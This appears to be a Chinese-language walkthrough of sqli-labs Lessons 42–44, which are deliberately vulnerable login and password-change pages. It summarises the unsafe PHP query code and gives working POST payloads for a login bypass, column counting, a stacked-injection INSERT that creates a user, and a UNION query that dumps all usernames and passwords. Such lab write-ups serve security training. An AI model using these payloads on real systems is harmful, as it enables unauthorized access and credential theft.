Lesson-42
该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项
但忘记密码和注册用户这两个功能都无法使用
使用正确的密码登录成功,可在其中修改密码
目标SQL语句如下:
//login.php
$username=mysqli_real_escape_string($con1, $_POST["login_user"]);
$password=$_POST["login_password"];
$sql="SELECT * FROM users WHERE username='$username' and password='$password'";
@mysqli_multi_query($con1, $sql)
# 返回内容
if查询成功:
输出查询内容;
else:
print_r(mysql_error());
$login=sqllogin($host,$dbuser,$dbpass, $dbname);
if登录成功:
setcookie("Auth", 1, time()+3600);
//pass_change.php
$username=$_SESSION["username"];
$curr_pass=mysql_real_escape_string($_POST['current_password']);
$pass=mysql_real_escape_string($_POST['password']);
$re_pass=mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
注意:该题漏洞较多,首先在login.php
中未对password
进行过滤,可使用报错注入、盲注来进行利用,同时mysqli_multi_query()
支持多条SQL语句,因此也可以使用堆叠注入。其次在pass_change.php
中还存在二次注入。
使用万能密码尝试登录,成功登录
login_user=admin&login_password=1'%20or%201#&mysubmit=Login
使用堆叠注入判断字段数
login_user=admin&login_password=1'%20order%20by%203#&mysubmit=Login //返回正常页面
login_user=admin&login_password=1'%20order%20by%204#&mysubmit=Login //返回报错页面
由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值
login_user=admin&login_password=1';insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login
通过联合查询查看数据,点击follow
后发现字段值已添加
login_user=admin&login_password=-1'%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login
Lesson-43
该题为单括号单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项
目标SQL语句如下:
//login.php
$username=mysqli_real_escape_string($con1, $_POST["login_user"]);
$password=$_POST["login_password"];
$sql="SELECT * FROM users WHERE username=('$username') and password=('$password')";
@mysqli_multi_query($con1, $sql)
# 返回内容
if查询成功:
输出查询内容;
else:
print_r(mysql_error());
$login=sqllogin($host,$dbuser,$dbpass, $dbname);
if登录成功:
setcookie("Auth", 1, time()+3600);
//pass_change.php
$username=$_SESSION["username"];
$curr_pass=mysql_real_escape_string($_POST['current_password']);
$pass=mysql_real_escape_string($_POST['password']);
$re_pass=mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
注意:该题与Lesson38的利用方式相同,只不过拼接方式由单引号换成了单括号单引号
使用万能密码尝试登录,成功登录
login_user=admin&login_password=1')%20or%201#&mysubmit=Login
使用堆叠注入判断字段数
login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面
login_user=admin&login_password=1'%20order%20by%204#&mysubmit=Login //返回报错页面
由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值
login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login
通过联合查询查看数据,点击follow
后发现字段值已添加
login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login
Lesson-44
该题为单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项
目标SQL语句如下:
//login.php
$username=mysqli_real_escape_string($con1, $_POST["login_user"]);
$password=$_POST["login_password"];
$sql="SELECT * FROM users WHERE username='$username' and password='$password'";
@mysqli_multi_query($con1, $sql)
# 返回内容
if查询成功:
输出查询内容;
else:
输出存在错误;
$login=sqllogin($host,$dbuser,$dbpass, $dbname);
if登录成功:
setcookie("Auth", 1, time()+3600);
//pass_change.php
$username=$_SESSION["username"];
$curr_pass=mysql_real_escape_string($_POST['current_password']);
$pass=mysql_real_escape_string($_POST['password']);
$re_pass=mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
注意:该题与Lesson42的利用方式相同,只不过不再输出MySQL
的具体报错信息,因此无法使用报错注入进行攻击
使用万能密码尝试登录,成功登录
login_user=admin&login_password=1'%20or%201#&mysubmit=Login
使用堆叠注入判断字段数
login_user=admin&login_password=1'%20order%20by%203#&mysubmit=Login //返回正常页面
这里我们不能使用 order by 来判断字段数,需要通过 union select 判断
login_user=admin&login_password=-1'%20union%20select%201,2,3#&mysubmit=Login
由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值
login_user=admin&login_password=1';insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login
通过联合查询查看数据,点击follow
后发现字段值已添加
login_user=admin&login_password=-1'%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login